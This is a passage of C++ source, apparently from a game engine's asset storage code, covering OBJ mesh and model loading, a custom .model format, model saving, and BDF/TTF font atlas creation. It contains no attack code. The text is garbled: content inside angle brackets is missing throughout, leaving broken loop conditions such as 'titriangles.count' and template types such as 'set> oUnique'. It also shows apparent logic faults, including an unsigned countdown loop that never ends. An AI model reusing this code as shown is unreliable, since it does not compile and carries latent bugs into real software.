",obj_path,", but those are not evaluated currently"); if(!vtArray.count){ LogW("storage","No vertex UVs 'vt' were parsed in ",obj_path); } if(!vnArray.count){ LogW("storage","No vertex normals 'vn' were parsed in ",obj_path); } if(fatal_error){ LogE("storage","OBJ parsing encountered a fatal error in ",obj_path); return result; } if(!vArray.count){ LogE("storage","No vertex positions 'v' were parsed in ",obj_path); return result; } if(!triangles.count){ LogE("storage","No faces 'f' were parsed in ",obj_path); return result; } //// create mesh //// Mesh* mesh = AllocateMesh(indexes.count, vUnique.count, faces.count, totalTriNeighbors, totalFaceVertexes, totalFaceOuterVertexes, totalFaceTriNeighbors, totalFaceFaceNeighbors); //fill base arrays cpystr(mesh->name, (const char*)front.str, 64); mesh->idx = meshes.count; mesh->aabbMin = aabb_min; mesh->aabbMax = aabb_max; mesh->center = {(aabb_max.x+aabb_min.x)/2.0f, (aabb_max.y+aabb_min.y)/2.0f, (aabb_max.z+aabb_min.z)/2.0f}; memcpy(mesh->vertexArray, vUnique.data.data, vUnique.count*sizeof(Mesh::Vertex)); memcpy(mesh->indexArray, indexes.data, indexes.count*sizeof(Mesh::Index)); memcpy(mesh->triangleArray, triangles.data, triangles.count*sizeof(Mesh::Triangle)); memcpy(mesh->faceArray, faces.data, faces.count*sizeof(Mesh::Face)); //setup pointers mesh->triangles[0].neighborArray = (u32*)(mesh->faceArray + mesh->faceCount); mesh->triangles[0].edgeArray = (u8*)(mesh->triangleArray[0].neighborArray + totalTriNeighbors); mesh->triangles[0].neighbors = {mesh->triangles[0].neighborArray, triNeighbors[0].count}; mesh->triangles[0].edges = {mesh->triangles[0].edgeArray, triNeighbors[0].count}; for(s32 ti=1; titriangles.count; ++ti){ mesh->triangles[ti].neighborArray = (u32*)(mesh->triangles[ti-1].neighborArray + triNeighbors[ti-1].count); mesh->triangles[ti].edgeArray = (u8*)(mesh->triangles[ti-1].edgeArray + triNeighbors[ti-1].count); mesh->triangles[ti].neighbors = {mesh->triangles[ti].neighborArray, triNeighbors[ti].count}; mesh->triangles[ti].edges = {mesh->triangles[ti].edgeArray, triNeighbors[ti].count}; } mesh->faces[0].triangleArray = (u32*)(mesh->triangles[0].edgeArray + totalTriNeighbors); mesh->faces[0].vertexArray = (u32*)(mesh->faces[0].triangleArray + triangles.count); mesh->faces[0].outerVertexArray = (u32*)(mesh->faces[0].vertexArray + totalFaceVertexes); mesh->faces[0].neighborTriangleArray = (u32*)(mesh->faces[0].outerVertexArray + totalFaceOuterVertexes); mesh->faces[0].neighborFaceArray = (u32*)(mesh->faces[0].neighborTriangleArray + totalFaceTriNeighbors); mesh->faces[0].triangles = {mesh->faces[0].triangleArray, faceTriangles[0].count}; mesh->faces[0].vertexes = {mesh->faces[0].vertexArray, faceVertexes[0].count}; mesh->faces[0].outerVertexes = {mesh->faces[0].outerVertexArray, faceOuterVertexes[0].count}; mesh->faces[0].triangleNeighbors = {mesh->faces[0].neighborTriangleArray, faceTriNeighbors[0].count}; mesh->faces[0].faceNeighbors = {mesh->faces[0].neighborFaceArray, faceFaceNeighbors[0].count}; for(s32 fi=1; fifaces.count; ++fi){ mesh->faces[fi].triangleArray = (u32*)(mesh->faces[fi-1].triangleArray + faceTriangles[fi-1].count); mesh->faces[fi].vertexArray = (u32*)(mesh->faces[fi-1].vertexArray + faceVertexes[fi-1].count); mesh->faces[fi].outerVertexArray = (u32*)(mesh->faces[fi-1].outerVertexArray + faceOuterVertexes[fi-1].count); mesh->faces[fi].neighborTriangleArray = (u32*)(mesh->faces[fi-1].neighborTriangleArray + faceTriNeighbors[fi-1].count); mesh->faces[fi].neighborFaceArray = (u32*)(mesh->faces[fi-1].neighborFaceArray + faceFaceNeighbors[fi-1].count); mesh->faces[fi].triangles = {mesh->faces[fi-0].triangleArray, faceTriangles[fi].count}; mesh->faces[fi].vertexes = {mesh->faces[fi-0].vertexArray, faceVertexes[fi].count}; mesh->faces[fi].outerVertexes = {mesh->faces[fi-0].outerVertexArray, faceOuterVertexes[fi].count}; mesh->faces[fi].triangleNeighbors = {mesh->faces[fi-0].neighborTriangleArray, faceTriNeighbors[fi].count}; mesh->faces[fi].faceNeighbors = {mesh->faces[fi-0].neighborFaceArray, faceFaceNeighbors[fi].count}; } //fill triangle neighbors/edges forX(ti, triangles.count){ forX(ni, triNeighbors[ti].count){ mesh->triangleArray[ti].neighborArray[ni] = triNeighbors[ti][ni].first; mesh->triangleArray[ti].edgeArray[ni] = triNeighbors[ti][ni].second; } mesh->triangleArray[ti].neighborCount = triNeighbors[ti].count; } //fill face tris/vertexes/neighbors forX(fi, mesh->faces.count){ mesh->faceArray[fi].triangleCount = faceTriangles[fi].count; mesh->faceArray[fi].vertexCount = faceVertexes[fi].count; mesh->faceArray[fi].outerVertexCount = faceOuterVertexes[fi].count; mesh->faceArray[fi].neighborTriangleCount = faceTriNeighbors[fi].count; mesh->faceArray[fi].neighborFaceCount = faceFaceNeighbors[fi].count; mesh->faceArray[fi].center = faces[fi].center / (f32)faceOuterVertexes[fi].count; forX(fti, mesh->faces[fi].triangles.count){ mesh->faceArray[fi].triangleArray[fti] = faceTriangles[fi][fti]; } forX(fvi, mesh->faces[fi].vertexes.count){ mesh->faceArray[fi].vertexArray[fvi] = faceVertexes[fi].data[fvi]; } forX(fvi, mesh->faces[fi].outerVertexes.count){ mesh->faceArray[fi].outerVertexArray[fvi] = faceOuterVertexes[fi][fvi]; } forX(fvi, mesh->faces[fi].triangleNeighbors.count){ mesh->faceArray[fi].neighborTriangleArray[fvi] = faceTriNeighbors[fi][fvi]; } forX(fvi, mesh->faces[fi].faceNeighbors.count){ mesh->faceArray[fi].neighborFaceArray[fvi] = faceFaceNeighbors[fi][fvi]; } } render_load_mesh(mesh); //TODO(delle) check if mesh already loaded meshes.add(mesh); Log("storage","Parsing and loading OBJ '",obj_path,"' took ",peek_stopwatch(load_stopwatch),"ms"); //parse MTL files if(mtllib_found){ load_stopwatch = start_stopwatch(); //!Incomplete Log("storage","Parsing and loading MTLs for OBJ '",obj_path,"' took ",peek_stopwatch(load_stopwatch),"ms"); } model = AllocateModel(mArray.count); cpystr(model->name, (const char*)front.str, 64); model->idx = models.count; model->flags = flags; model->mesh = mesh; model->armature = 0; //!Incomplete batch materials if(mArray.count > 1){ model->batches[mArray.count-1].indexOffset = mUnique.data[mArray[mArray.count-1]].first; model->batches[mArray.count-1].indexCount = indexes.count - model->batches[mArray.count-1].indexOffset; model->batches[mArray.count-1].material = 0; for(u32 bi = mArray.count-2; bi >= 0; --bi){ model->batches[bi].indexOffset = mUnique.data[mArray[bi]].first; model->batches[bi].indexCount = model->batches[bi+1].indexOffset - model->batches[bi].indexOffset; model->batches[bi].material = 0; } }else{ model->batches[0].indexOffset = 0; model->batches[0].indexCount = indexes.count; model->batches[0].material = 0; } } //// load .obj (batch info only), .mtl, and .mesh //// else if(parse_obj_model){ Mesh* mesh = CreateMeshFromFile(front).second; set> oUnique(deshi_temp_allocator); //index offset, name set> gUnique(deshi_temp_allocator); set> uUnique(deshi_temp_allocator); set> mUnique(deshi_temp_allocator); array oArray(deshi_temp_allocator); //index in unique array array gArray(deshi_temp_allocator); array uArray(deshi_temp_allocator); array mArray(deshi_temp_allocator); b32 mtllib_found = false; u32 index_count = 0; Stopwatch load_stopwatch = start_stopwatch(); File* file = file_init(obj_path, FileAccess_Read); if(!file) return result; defer{ file_deinit(file); }; u32 line_number = 0; while(file->cursor < file->bytes){ line_number += 1; //next line str8 line = file_read_line_alloc(file, &load_allocator); if(!line) continue; //skip leading whitespace str8_advance_while(&line, ' '); if(!line) continue; //early out if comment is first character DecodedCodepoint decoded = decoded_codepoint_from_utf8(line.str, 4); if(decoded.codepoint == '#') continue; switch(decoded.codepoint){ //// face //// case 'f':{ str8_increment(&line, decoded.advance); decoded = decoded_codepoint_from_utf8(line.str, 4); if(decoded.codepoint != ' '){ ParseError(obj_path,"No space after 'f'"); return result; } index_count += 3; } //// use material //// case 'u':{ //use material if(strncmp((const char*)line.str, "usemtl ", 7) != 0){ ParseError(obj_path,"Specifier started with 'u' but didn't equal 'usemtl '"); return result; } if(mtllib_found){ str8_increment(&line, 7); pair usemtl(index_count, str8_copy(line, deshi_temp_allocator)); uArray.add(uUnique.add(usemtl,usemtl)); }else{ ParseError("Specifier 'usemtl' used before 'mtllib' specifier"); } }continue; //// load material //// case 'm':{ if(strncmp((const char*)line.str, "mtllib ", 7) != 0){ ParseError(obj_path,"Specifier started with 'm' but didn't equal 'mtllib '"); return result; } mtllib_found = true; str8_increment(&line, 7); pair mtllib(index_count, str8_copy(line, deshi_temp_allocator)); mArray.add(mUnique.add(mtllib,mtllib)); }continue; //// group (batch) //// case 'g':{ str8_increment(&line, decoded.advance); decoded = decoded_codepoint_from_utf8(line.str, 4); if(decoded.codepoint != ' '){ ParseError(obj_path,"No space after 'g'"); return result; } str8_increment(&line, decoded.advance); pair group(index_count, str8_copy(line, deshi_temp_allocator)); gArray.add(gUnique.add(group,group)); }continue; //// object //// case 'o':{ str8_increment(&line, decoded.advance); decoded = decoded_codepoint_from_utf8(line.str, 4); if(decoded.codepoint != ' '){ ParseError(obj_path,"No space after 'o'"); return result; } str8_increment(&line, decoded.advance); pair object(index_count, str8_copy(line, deshi_temp_allocator)); oArray.add(oUnique.add(object,object)); }continue; default: continue; } } //parse MTL files if(mtllib_found){ load_stopwatch = start_stopwatch(); //!Incomplete Log("storage","Parsing and loading MTLs for OBJ '",obj_path,"' took ",peek_stopwatch(load_stopwatch),"ms"); } model = AllocateModel(mArray.count); cpystr(model->name, (const char*)front.str, 64); model->idx = models.count; model->flags = flags; model->mesh = mesh; model->armature = 0; //!Incomplete batch materials if(mArray.count > 1){ model->batches[mArray.count-1].indexOffset = mUnique.data[mArray[mArray.count-1]].first; model->batches[mArray.count-1].indexCount = index_count - model->batches[mArray.count-1].indexOffset; model->batches[mArray.count-1].material = 0; for(u32 bi = mArray.count-2; bi >= 0; --bi){ model->batches[bi].indexOffset = mUnique.data[mArray[bi]].first; model->batches[bi].indexCount = model->batches[bi+1].indexOffset - model->batches[bi].indexOffset; model->batches[bi].material = 0; } }else{ model->batches[0].indexOffset = 0; model->batches[0].indexCount = index_count; model->batches[0].material = 0; } } //// load .model and .mesh //// else{ //model storage str8 model_name; str8 model_mesh; ModelFlags model_flags; array> model_batches(deshi_temp_allocator); enum{ HEADER_MODEL, HEADER_BATCHES, HEADER_INVALID } header; File* file = file_init(model_path, FileAccess_Read); if(!file) return result; defer{ file_deinit(file); }; u32 line_number = 0; while(file->cursor < file->bytes){ line_number += 1; //next line str8 line = file_read_line_alloc(file, &load_allocator); if(!line) continue; //skip leading whitespace str8_advance_while(&line, ' '); if(!line) continue; //early out if comment is first character DecodedCodepoint decoded = decoded_codepoint_from_utf8(line.str, 4); if(decoded.codepoint == '#') continue; //check for headers if(decoded.codepoint == '>'){ if (str8_begins_with(line, str8_lit(">model"))) header = HEADER_MODEL; else if(str8_begins_with(line, str8_lit(">batches"))) header = HEADER_BATCHES; else{ header = HEADER_INVALID; LogE("storage","Error parsing model '",model_path,"' on line ",line_number,". Invalid Header: ",line); }; continue; } //early out invalid header if(header == HEADER_INVALID){ LogE("storage","Error parsing model '",model_path,"' on line ",line_number,". Invalid Header; skipping line"); continue; } if(header == HEADER_MODEL){ //parse key str8 key = str8_eat_until(line, ' '); str8_increment(&line, key.count); //skip separating whitespace str8_advance_while(&line, ' '); if(!line){ LogE("config","Error parsing model '",model_path,"' on line ",line_number,". No value passed to key: ",key); continue; } //early out if comment is first value character decoded = decoded_codepoint_from_utf8(line.str, 4); if(decoded.codepoint == '#'){ LogE("storage","Error parsing model '",model_path,"' on line ",line_number,". No value passed to key: ",key); continue; } if (str8_equal_lazy(key, str8_lit("name"))){ if(decoded.codepoint != '\"'){ LogE("storage","Error parsing model '",model_path,"' on line ",line_number,". Names must be wrapped in double quotes."); continue; } model_name = str8_copy(str8_eat_until(str8{line.str+1,line.count-1}, '\"'), deshi_temp_allocator); }else if(str8_equal_lazy(key, str8_lit("flags"))){ model_flags = (ModelFlags)atoi((const char*)line.str); }else if(str8_equal_lazy(key, str8_lit("mesh"))){ if(decoded.codepoint != '\"'){ LogE("storage","Error parsing model '",model_path,"' on line ",line_number,". Filenames must be wrapped in double quotes."); continue; } model_mesh = str8_copy(str8_eat_until(str8{line.str+1,line.count-1}, '\"'), deshi_temp_allocator); }else if(str8_equal_lazy(key, str8_lit("armature"))){ //NOTE currently nothing }else{ LogE("storage","Error parsing model '",model_path,"' on line ",line_number,". Invalid key '",key,"' for >model header."); continue; } }else{ if(decoded.codepoint != '\"'){ LogE("storage","Error parsing model '",model_path,"' on line ",line_number,". Names must be wrapped in double quotes. Batch format: '\"material_name\" index_offset index_count'"); continue; } str8 batch_mat = str8_copy(str8_eat_until(str8{line.str+1,line.count-1}, '\"'), deshi_temp_allocator); str8_increment(&line, batch_mat.count+2); if(!line){ LogE("storage","Error parsing model '",model_path,"' on line ",line_number,". No indexes passed. Batch format: '\"material_name\" index_offset index_count'"); continue; } char* next = (char*)line.str; u32 ioffset = strtol(next,&next,10); u32 icount = strtol(next,&next,10); model_batches.add({batch_mat, ioffset, icount}); } } model = AllocateModel(model_batches.count); cpystr(model->name, (const char*)model_name.str, 64); model->idx = models.count; model->flags = model_flags; model->mesh = CreateMeshFromFile(model_mesh).second; model->armature = 0; forI(model_batches.count){ model->batches[i] = Model::Batch{ model_batches[i].second, model_batches[i].third, CreateMaterialFromFile(model_batches[i].first).first }; } Log("storage","Successfully loaded model ",model_path); } result.first = model->idx; result.second = model; models.add(model); Log("storage","Finished loading model '",filename,"' in ",peek_stopwatch(model_stopwatch),"ms"); return result; } pair Storage:: CreateModelFromMesh(Mesh* mesh, ModelFlags flags){DPZoneScoped; pair result(0, NullModel()); str8 model_name = str8_from_cstr(mesh->name); //check if created already forI(models.count){ if((models[i]->mesh == mesh) && (strncmp(models[i]->name, (const char*)model_name.str, 64) == 0) && (models[i]->flags == flags) && (models[i]->batches.count == 1) && (models[i]->batches[0].indexOffset == 0) && (models[i]->batches[0].indexCount == mesh->indexCount) && (models[i]->batches[0].material == 0)){ return pair(i,models[i]); } } Model* model = AllocateModel(1); cpystr(model->name, (const char*)model_name.str, 64); model->idx = models.count; model->mesh = mesh; model->armature = 0; model->batches[0] = {0, mesh->indexCount, 0}; result.first = model->idx; result.second = model; models.add(model); return result; } pair Storage:: CopyModel(Model* _model){DPZoneScoped; pair result(0, NullModel()); Model* model = AllocateModel(_model->batches.size()); cpystr(model->name, _model->name, 64); model->idx = models.count; model->flags = _model->flags; model->mesh = _model->mesh; model->armature = _model->armature; forI(model->batches.count){ model->batches[i].indexOffset = _model->batches[i].indexOffset; model->batches[i].indexCount = _model->batches[i].indexCount; model->batches[i].material = _model->batches[i].material; } result.first = model->idx; result.second = model; models.add(model); return result; } void Storage:: SaveModel(Model* model){DPZoneScoped; SaveMesh(model->mesh); string model_save = ToString(">model" "\nname \"",model->name,"\"" "\nflags ", model->flags, "\nmesh \"", model->mesh->name,"\"" "\narmature ", 0, "\n" "\n>batches"); forI(model->batches.count){ SaveMaterial(materials[model->batches[i].material]); model_save += ToString("\n\"",materials[model->batches[i].material]->name,"\" ", model->batches[i].indexOffset," ",model->batches[i].indexCount); } model_save += "\n"; str8 path = str8_concat3(str8_lit("data/models/"),str8_from_cstr(model->name),str8_lit(".model"), deshi_temp_allocator); file_write_simple(path, model_save.str, model_save.count*sizeof(char)); Log("storage","Successfully saved model: ",path); } /////////////// //// @font //// /////////////// local Font* AllocateFont(Type type){DPZoneScoped; Font* font = (Font*)memory_alloc(sizeof(Font)); font->type = type; font->idx = Storage::fonts.count; return font; } pair Storage:: CreateFontFromFileBDF(str8 filename){DPZoneScoped; pair result(0,NullFont()); //check if created already forI(fonts.count){ if(strncmp(fonts[i]->name, (const char*)filename.str, ClampMax(filename.count, 63)) == 0){ return pair(i,fonts[i]); } } b32 in_char = false; b32 in_bitmap = false; u32 char_idx = 0; u32 bitmap_row = 0; u32 glyph_offset = 0; u32 top_offset = 0; u32 left_offset = 0; vec4 current_bbx = vec4::ZERO; vec4 font_bbx = vec4::ZERO; vec2 font_dpi = vec2::ZERO; u16* encodings = 0; u8* pixels = 0; //NOTE(delle) creating an allocator here to either use 256 bytes locally or temp allocate more than 256 bytes persist u8 line_buffer[256]; persist Allocator load_allocator{ [](upt bytes){ if(bytes > 256){ return memory_talloc(bytes); }else{ line_buffer[bytes-1] = '\0'; //NOTE(delle) file_read_line_alloc() requests an extra byte for null-terminator return (void*)line_buffer; } }, Allocator_ChangeMemory_Noop, Allocator_ChangeMemory_Noop, Allocator_ReleaseMemory_Noop, Allocator_ResizeMemory_Noop }; //init file str8 path = str8_concat(str8_lit("data/fonts/"), filename, deshi_temp_allocator); File* file = file_init(path, FileAccess_Read); if(!file) return result; defer{ file_deinit(file); }; str8 first_line = file_read_line_alloc(file, &load_allocator); if(!str8_begins_with(first_line, str8_lit("STARTFONT"))){ LogE("storage","Error parsing BDF '",filename,"' on line 1. The file did not begin with 'STARTFONT'."); return result; } Font* font = AllocateFont(FontType_BDF); u32 line_number = 1; while(file->cursor < file->bytes){ line_number += 1; //next line str8 line = file_read_line_alloc(file, &load_allocator); if(!line) continue; //skip leading whitespace str8_advance_while(&line, ' '); if(!line) continue; //parse key str8 key = str8_eat_until(line, ' '); str8_increment(&line, key.count); //skip separating whitespace str8_advance_while(&line, ' '); if(in_bitmap){ if(str8_equal_lazy(key, str8_lit("ENDCHAR"))){ in_char = false; in_bitmap = false; char_idx++; bitmap_row = 0; continue; } Assert(bitmap_row < current_bbx.y); s32 chars = (s32)key.count; Assert(chars <= 4); //TODO(delle) error handling: max 16 pixel width u8 scaled[16]{}; //scale each byte to represent one pixel per bit then byteswap the u64 //TODO(delle) only byteswap if little-endian //ref: https://stackoverflow.com/questions/9023129/algorithm-for-bit-expansion-duplication/9044057#9044057 //scale = 8 (1 bit to 1 byte) //mask0 = 0x0000000f0000000f, mask1 = 0x0003000300030003, mask2 = 0x0101010101010101 //shift0 = (1 << 28) + 1, shift1 = (1 << 14) + 1, shift2 = (1 << 7) + 1 for(s32 i=0; imax_width+(upt)(glyph_offset + (bitmap_row+top_offset)*font->max_width + left_offset), scaled, upt(current_bbx.x*sizeof(u8))); bitmap_row++; continue; } if(in_char){ if (str8_equal_lazy(key, str8_lit("ENCODING"))){ encodings[char_idx] = strtol((const char*)line.str, 0, 10); }else if(str8_equal_lazy(key, str8_lit("BITMAP"))){ in_bitmap = true; }else if(str8_equal_lazy(key, str8_lit("SWIDTH"))){ //unused }else if(str8_equal_lazy(key, str8_lit("DWIDTH"))){ //unused in monospace fonts }else if(str8_equal_lazy(key, str8_lit("BBX"))){ char* cursor = (char*)line.str; current_bbx.x = (f32)strtol(cursor, &cursor, 10); //width current_bbx.y = (f32)strtol(cursor+1, &cursor, 10); //height current_bbx.z = (f32)strtol(cursor+1, &cursor, 10); //lower-left x current_bbx.w = (f32)strtol(cursor+1, &cursor, 10); //lower-left y glyph_offset = char_idx*font->max_height*font->max_width; top_offset = u32(font->max_height-(current_bbx.w-font_bbx.w)-current_bbx.y); left_offset = u32(current_bbx.z-font_bbx.z); Assert(current_bbx.x <= font_bbx.x); Assert(current_bbx.y <= font_bbx.y); Assert(current_bbx.z >= font_bbx.z); Assert(current_bbx.w >= font_bbx.w); }else{ Assert(!"unhandled key"); } continue; } if (str8_equal_lazy(key, str8_lit("STARTCHAR"))){ in_char = true; }else if(str8_equal_lazy(key, str8_lit("SIZE"))){ if(!line){ LogE("storage","Error parsing BDF '",filename,"' on line ",line_number,". No value passed to key: ",key); continue; } char* cursor = (char*)line.str; font_dpi.x = (f32)strtol(cursor+1, &cursor, 10); font_dpi.y = (f32)strtol(cursor+1, &cursor, 10); }else if(str8_equal_lazy(key, str8_lit("FONTBOUNDINGBOX"))){ if(!line){ LogE("storage","Error parsing BDF '",filename,"' on line ",line_number,". No value passed to key: ",key); continue; } char* cursor = (char*)line.str; font_bbx.x = (f32)strtol(cursor, &cursor, 10); //width font_bbx.y = (f32)strtol(cursor+1, &cursor, 10); //height font_bbx.z = (f32)strtol(cursor+1, &cursor, 10); //lower-left x font_bbx.w = (f32)strtol(cursor+1, &cursor, 10); //lower-left y font->max_width = (u32)font_bbx.x; font->max_height = (u32)font_bbx.y; }else if(str8_equal_lazy(key, str8_lit("FONT_NAME"))){ if(!line){ LogE("storage","Error parsing BDF '",filename,"' on line ",line_number,". No value passed to key: ",key); continue; } if(decoded_codepoint_from_utf8(line.str, 4).codepoint != '\"'){ LogE("storage","Error parsing BDF '",filename,"' on line ",line_number,". FONT_NAME must be wrapped in double quotes."); continue; } str8 font_name = str8_copy(str8_eat_until(str8{line.str+1,line.count-1}, '\"'), deshi_temp_allocator); cpystr(font->name, (const char*)font_name.str, 64); }else if(str8_equal_lazy(key, str8_lit("WEIGHT_NAME"))){ if(!line){ LogE("storage","Error parsing BDF '",filename,"' on line ",line_number,". No value passed to key: ",key); continue; } if(decoded_codepoint_from_utf8(line.str, 4).codepoint != '\"'){ LogE("storage","Error parsing BDF '",filename,"' on line ",line_number,". WEIGHT_NAME must be wrapped in double quotes."); continue; } str8 font_weight = str8_copy(str8_eat_until(str8{line.str+1,line.count-1}, '\"'), deshi_temp_allocator); cpystr(font->weight, (const char*)font_weight.str, 64); }else if(str8_equal_lazy(key, str8_lit("CHARS"))){ font->count = strtol((const char*)line.str, 0, 10); Assert(font->max_width && font->max_height && font->count); encodings = (u16*)memory_talloc(font->count*sizeof(u16)); pixels = (u8*)memory_talloc(font->count * ((font->max_width*font->max_height + 2*font->max_width) * sizeof(u8))); pixels[0] = 255; pixels[1] = 255; pixels[font->max_width] = 255; pixels[font->max_width + 1] = 255; font->uv_yoffset = 2.f / (font->max_height * font->count + 2); }else{ continue; } } Texture* texture = CreateTextureFromMemory(pixels, filename, font->max_width, font->max_height*font->count, ImageFormat_BW, TextureType_2D, TextureFilter_Nearest, TextureAddressMode_ClampToWhite, false).second; //DeleteTexture(texture); font->aspect_ratio = (f32)font->max_height / font->max_width; font->tex = texture; fonts.add(font); result.first = font->idx; result.second = font; return result; } //TODO clean up this function some and add in some stuff to reduce the overhead of adding in a new range pair Storage:: CreateFontFromFileTTF(str8 filename, u32 size){DPZoneScoped; pair result(0,NullFont()); //check if created already //TODO look into why if we load the same font w a different size it gets weird (i took that check out of here for now) forI(fonts.count){ if(strncmp(fonts[i]->name, (const char*)filename.str, ClampMax(filename.count, 63)) == 0){ return pair(i,fonts[i]); } } str8 path = str8_concat(str8_lit("data/fonts/"),filename, deshi_temp_allocator); str8 contents = file_read_simple(path, deshi_temp_allocator); if(!contents) return result; //Codepoint Ranges to Load: // ASCII 32 - 126 ~ 94 chars // Greek and Coptic 880 - 1023 ~ 143 chars // Cyrillic 1024 - 1279 ~ 256 chars // Super/Subscripts 8304 - 8348 ~ 44 chars (we will want our own method for doing super/subscripts in suugu) // Currency Symbols 8352 - 8384 ~ 32 chars // Arrows 8592 - 8703 ~ 111 chars // Math Symbols 8704 - 8959 ~ 255 chars // ...and maybe more to come in the future. //TODO(sushi) maybe implement taking in ranges u32 num_ranges = 7; stbtt_pack_range* ranges = (stbtt_pack_range*)memory_alloc(num_ranges*sizeof(*ranges)); ranges[0].num_chars = 94; ranges[0].first_unicode_codepoint_in_range = 32; ranges[1].num_chars = 143; ranges[1].first_unicode_codepoint_in_range = 880; ranges[2].num_chars = 255; ranges[2].first_unicode_codepoint_in_range = 1024; ranges[3].num_chars = 44; ranges[3].first_unicode_codepoint_in_range = 8304; ranges[4].num_chars = 32; ranges[4].first_unicode_codepoint_in_range = 8352; ranges[5].num_chars = 111; ranges[5].first_unicode_codepoint_in_range = 8592; ranges[6].num_chars = 255; ranges[6].first_unicode_codepoint_in_range = 8704; ranges[0].chardata_for_range = (stbtt_packedchar*)memory_alloc(ranges[0].num_chars*sizeof(stbtt_packedchar)); ranges[1].chardata_for_range = (stbtt_packedchar*)memory_alloc(ranges[1].num_chars*sizeof(stbtt_packedchar)); ranges[2].chardata_for_range = (stbtt_packedchar*)memory_alloc(ranges[2].num_chars*sizeof(stbtt_packedchar)); ranges[3].chardata_for_range = (stbtt_packedchar*)memory_alloc(ranges[3].num_chars*sizeof(stbtt_packedchar)); ranges[4].chardata_for_range = (stbtt_packedchar*)memory_alloc(ranges[4].num_chars*sizeof(stbtt_packedchar)); ranges[5].chardata_for_range = (stbtt_packedchar*)memory_alloc(ranges[5].num_chars*sizeof(stbtt_packedchar)); ranges[6].chardata_for_range = (stbtt_packedchar*)memory_alloc(ranges[6].num_chars*sizeof(stbtt_packedchar)); ranges[0].font_size = (f32)size; ranges[1].font_size = (f32)size; ranges[2].font_size = (f32)size; ranges[3].font_size = (f32)size; ranges[4].font_size = (f32)size; ranges[5].font_size = (f32)size; ranges[6].font_size = (f32)size; /* //trying to minimize the texture here, but its difficult due to stbtt packing all of them together //i believe this makes it into the smallest square it could be w/o knowing how stbtt packs them together //also just doesnt really work well with non-monospaced fonts //TODO figure out a better way to do this. int x0, y0, x1, y1; stbtt_GetFontBoundingBox(&info, &x0, &y0, &x1, &y1); f32 widthmax = x1 - x0, heightmax = y1 - y0; f32 aspect_ratio = (f32)heightmax / (f32)widthmax; u32 tsy = (u32)roundUpToPow2(ceil(size * sqrtf(679) / aspect_ratio)); u32 tsx = (u32)roundUpToPow2(ceil(widthmax * size / heightmax * sqrtf(679)) + 2); //add two rows to make room for 4 white pixels to optimize uicmds if(tsy > tsx) tsx = tsy; if(tsx > tsy) tsy = tsx; */ //init the font info int success; stbtt_fontinfo info; success = stbtt_InitFont(&info, contents.str, 0); Assert(success); //determine surface area of loadable codepoints !ref:imgui_draw.cpp@ImFontAtlasBuildWithStbTruetype() //TODO(delle) maybe use this info to index into the final texture for rendering f32 glyph_scale = stbtt_ScaleForPixelHeight(&info, (f32)size); u32 glyph_count = 0; int glyph_padding = 1; int total_surface = 0; forX(range, num_ranges){ for(u32 codepoint = ranges[range].first_unicode_codepoint_in_range; codepoint < ranges[range].first_unicode_codepoint_in_range + ranges[range].num_chars; ++codepoint) { int glyph_index_in_font = stbtt_FindGlyphIndex(&info, codepoint); if(glyph_index_in_font == 0) continue; //skip any glyphs not in the font int x0, y0, x1, y1; stbtt_GetGlyphBitmapBoxSubpixel(&info, glyph_index_in_font, glyph_scale*1, glyph_scale*1, 0, 0, &x0, &y0, &x1, &y1); total_surface += ((x1 - x0) + glyph_padding) * ((y1 - y0) + glyph_padding); } } //determine texture size //NOTE(delle) texture width is capped due to size limitations on width for GPUs int surface_sqrt = (int)sqrt((f32)total_surface) + 1; u32 texture_size_x = (surface_sqrt >= 4096 * 0.7f) ? 4096 : (surface_sqrt >= 2048 * 0.7f) ? 2048 : (surface_sqrt >= 1024 * 0.7f) ? 1024 : 512; u32 texture_size_y = texture_size_x; //TODO(delle) find accurate height based on packing Assert(surface_sqrt <= 4096, "we don't yet handle when the height should be greater than width, see ImGui reference for solution"); //place 4 white pixels in the top-left corner for other UI usage without having to swap textures u8* pixels = (u8*)memory_talloc((texture_size_x * texture_size_y)*sizeof(u8)); pixels[0] = 255; pixels[1] = 255; pixels[texture_size_x] = 255; pixels[texture_size_x+1] = 255; //perform the font packing stbtt_pack_context* pc = (stbtt_pack_context*)memory_alloc(1*sizeof(stbtt_pack_context)); success = stbtt_PackBegin(pc, pixels + 2*texture_size_x, texture_size_x, texture_size_y-2, 0, glyph_padding, 0); Assert(success); stbtt_PackSetSkipMissingCodepoints(pc, true); success = stbtt_PackFontRanges(pc, contents.str, 0, ranges, num_ranges); //NOTE(delle) this will return 0 if there are any missing codepoints stbtt_PackEnd(pc); /* //normalize and offset the UVs forX(range, num_ranges){ for(u32 codepoint = ranges[range].first_unicode_codepoint_in_range; codepoint < ranges[range].first_unicode_codepoint_in_range + ranges[range].num_chars; ++codepoint) { } } */ //get extra font rendering info f32 ascent, descent, lineGap; stbtt_GetScaledFontVMetrics(contents.str, 0, (f32)size, &ascent, &descent, &lineGap); int x0, y0, x1, y1; stbtt_GetFontBoundingBox(&info, &x0, &y0, &x1, &y1); int max_width = x1 - x0, max_height = y1 - y0; f32 aspect_ratio = (f32)max_height / (f32)max_width; Texture* texture = CreateTextureFromMemory(pixels, filename, texture_size_x, texture_size_y, ImageFormat_BW, TextureType_2D, TextureFilter_Nearest, TextureAddressMode_ClampToWhite, false).second; Font* font = AllocateFont(FontType_TTF); cpystr(font->name,(const char*)filename.str,64); font->max_width = (u32)((f32)max_width / (f32)max_height * (f32)size); font->max_height = size; font->count = glyph_count; font->ttf_size[0] = texture_size_x; font->ttf_size[1] = texture_size_y; font->num_ranges = num_ranges; font->uv_yoffset = 2.0f / (f32)texture_size_y; font->ascent = ascent; font->descent = descent; font->line_gap = lineGap; font->aspect_ratio = aspect_ratio; font->tex = texture; font->ranges = (pack_range*)ranges; fonts.add(font); result.first = font->idx; result.second = font; return result; } pair Storage:: CreateFontFromFile(str8 filename, u32 height){DPZoneScoped; if(str8_ends_with(filename, str8_lit(".bdf"))){ return CreateFontFromFileBDF(filename); } if(str8_ends_with(filename, str8_lit(".ttf")) || str8_ends_with(filename, str8_lit(".otf"))){ return CreateFontFromFileTTF(filename, height); } LogE("storage","Failed to load font '",filename,"'. We only support loading TTF/OTF and BDF fonts at the moment."); return {}; } void DrawMeshesWindow() {DPZoneScoped; using namespace UI; SetNextWindowSize(vec2(MAX_F32, MAX_F32)); BeginChild(str8_lit("StorageBrowserUIMeshes"), vec2(MAX_F32, MAX_F32)); Text(str8_lit("TODO")); EndChild(); } void DrawTexturesWindow() {DPZoneScoped; Storage_* st = DeshStorage; //TODO make all of this stuff get checked only when necessary b32 new_selected = 0; persist Texture* 